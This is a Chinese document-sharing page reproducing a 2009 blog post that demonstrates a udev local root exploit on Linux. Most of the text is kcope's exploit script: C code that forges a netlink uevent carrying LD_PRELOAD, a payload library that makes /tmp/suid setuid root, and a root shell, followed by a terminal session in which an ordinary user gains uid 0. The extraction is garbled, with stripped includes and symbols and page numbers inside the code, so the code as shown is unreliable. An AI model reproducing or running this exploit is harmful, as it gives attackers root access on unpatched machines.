《普通用户通过udev漏洞提升到root权限演示》由会员分享，可在线阅读，更多相关《普通用户通过udev漏洞提升到root权限演示（6页珍藏版）》请在金锄头文库上搜索。
1、普通用户通过普通用户通过 udevudev 漏洞提升到漏洞提升到 rootroot 权限演示权限演示普通用户通过 udev 漏洞提升到 root 权限演示阅读:55 时间:2009-8-10 7:12:39-最近暴露出 udev 权限提示的漏洞，只要有普通用户权限，即可提升到 root 权限，实验了一把，果真很容易提升。把下面代码保存为 test.sh 文件#!/bin/sh# Linux 2.6# bug found by Sebastian Krahmer# lame sploit using LD technique# by kcope in 2009# tested on debian
2、-etch,ubuntu,gentoo# do a cat /proc/net/netlink# and set the first arg to this# script to the pid of the netlink socket# (the pid is udevd_pid 1 most of the time)# + sploit has to be UNIX formatted text# + if it doesnt work the 1st time try more often# WARNING: maybe needs some FIXUP to work flawles
3、sly# greetz fly out to alex,andi,adize,wY!,revo,j! and the gangcat udev.c #include #include #include #include #include #include #include #include #include #include #include #include #ifndef NETLINK_KOBJECT_UEVENT#define NETLINK_KOBJECT_UEVENT 15#endif#define SHORT_STRING 64#define MEDIUM_STRING 128#
4、define BIG_STRING 256#define LONG_STRING 1024#define EXTRALONG_STRING 4096#define TRUE 1#define FALSE 0int socket_fd;struct sockaddr_nl address;struct msghdr msg;struct iovec iovector;int sz = 64*1024;main(int argc, char *argv) char sysfspathSHORT_STRING;char subsystemSHORT_STRING;char eventSHORT_ST
5、RING;char majorSHORT_STRING;char minorSHORT_STRING;sprintf(event, “add”);sprintf(subsystem, “block”);sprintf(sysfspath, “/dev/foo”);sprintf(major, “8);sprintf(minor, “1);memset(address.nl_family = AF_NETLINK;address.nl_pid = atoi(argv1);address.nl_groups = 0;msg.msg_name = (void*)msg.msg_namelen = s
6、izeof(address);msg.msg_iov = msg.msg_iovlen = 1;socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);bind(socket_fd, (struct sockaddr *) char messageLONG_STRING;char *mp;mp = message;mp += sprintf(mp, “%s%s”, event, sysfspath) +1;mp += sprintf(mp, “ACTION=%s”, event) +1;mp += sprintf(m
7、p, “DEVPATH=%s”, sysfspath) +1;mp += sprintf(mp, “MAJOR=%s”, major) +1;mp += sprintf(mp, “MINOR=%s”, minor) +1;mp += sprintf(mp, “SUBSYSTEM=%s”, subsystem) +1;mp += sprintf(mp, “LD_PRELOAD=/tmp/libno_ex.so.1.0) +1;iovector.iov_base = (void*)message;iovector.iov_len = (int)(mp-message);char *buf;int
8、buflen;buf = (char *) buflen = (int)(mp-message);sendmsg(socket_fd, close(socket_fd);sleep(10);/ execl(”/tmp/suid”, “suid”, (void*)0);_EOFgcc udev.c -o /tmp/udevcat program.c #include #include #include #include void _init()setgid(0);setuid(0);unsetenv(”LD_PRELOAD”);/ execl(”/bin/sh”,”sh”,”-c”,”chown
9、 root:root /tmp/suid; chmod +s /tmp/suid”,NULL);chown(”/tmp/suid”,0,0);chmod(”/tmp/suid”,S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);_EOFgcc -o program.o -c program.c -fPICgcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfilescat suid.c _EOFint main(void) setgid(0); se
10、tuid(0);execl(”/bin/sh”,”sh”,0); _EOFgcc -o /tmp/suid suid.ccp libno_ex.so.1.0 /tmp/libno_ex.so.1.0/tmp/udev $1# 2009-04-20/tmp/suid然后执行几个简单操作即可由普通用户提升至 root 了testsbear-cn test$ iduid=500(test) gid=500(test) groups=500(test)testsbear-cn test$ ps -ef|grep udevroot 502 1 0 13:04 ? 00:00:00 /sbin/udev
11、d -d /查看目前udevd 服务的 id 号test 2635 2564 0 13:07 pts/0 00:00:00 grep udevtestsbear-cn test$ sh test.sh 501 /udevd 的 id 号减 1，即502-1 = 501suid.c: In function main:suid.c:3: warning: incompatible implicit declaration of built-in function execlsh-3.2# iduid=0(root) gid=0(root) groups=500(test) /获取到 root 权限了sh-3.2# ls /root/anaconda-ks.cfgsh-3.2#赶紧升级你的 udev 吧http:/ 利用 udev 漏洞提权http:/ /bbs/read.php?tid-270354-keyword-udev%C2%A9%B6%B4.html
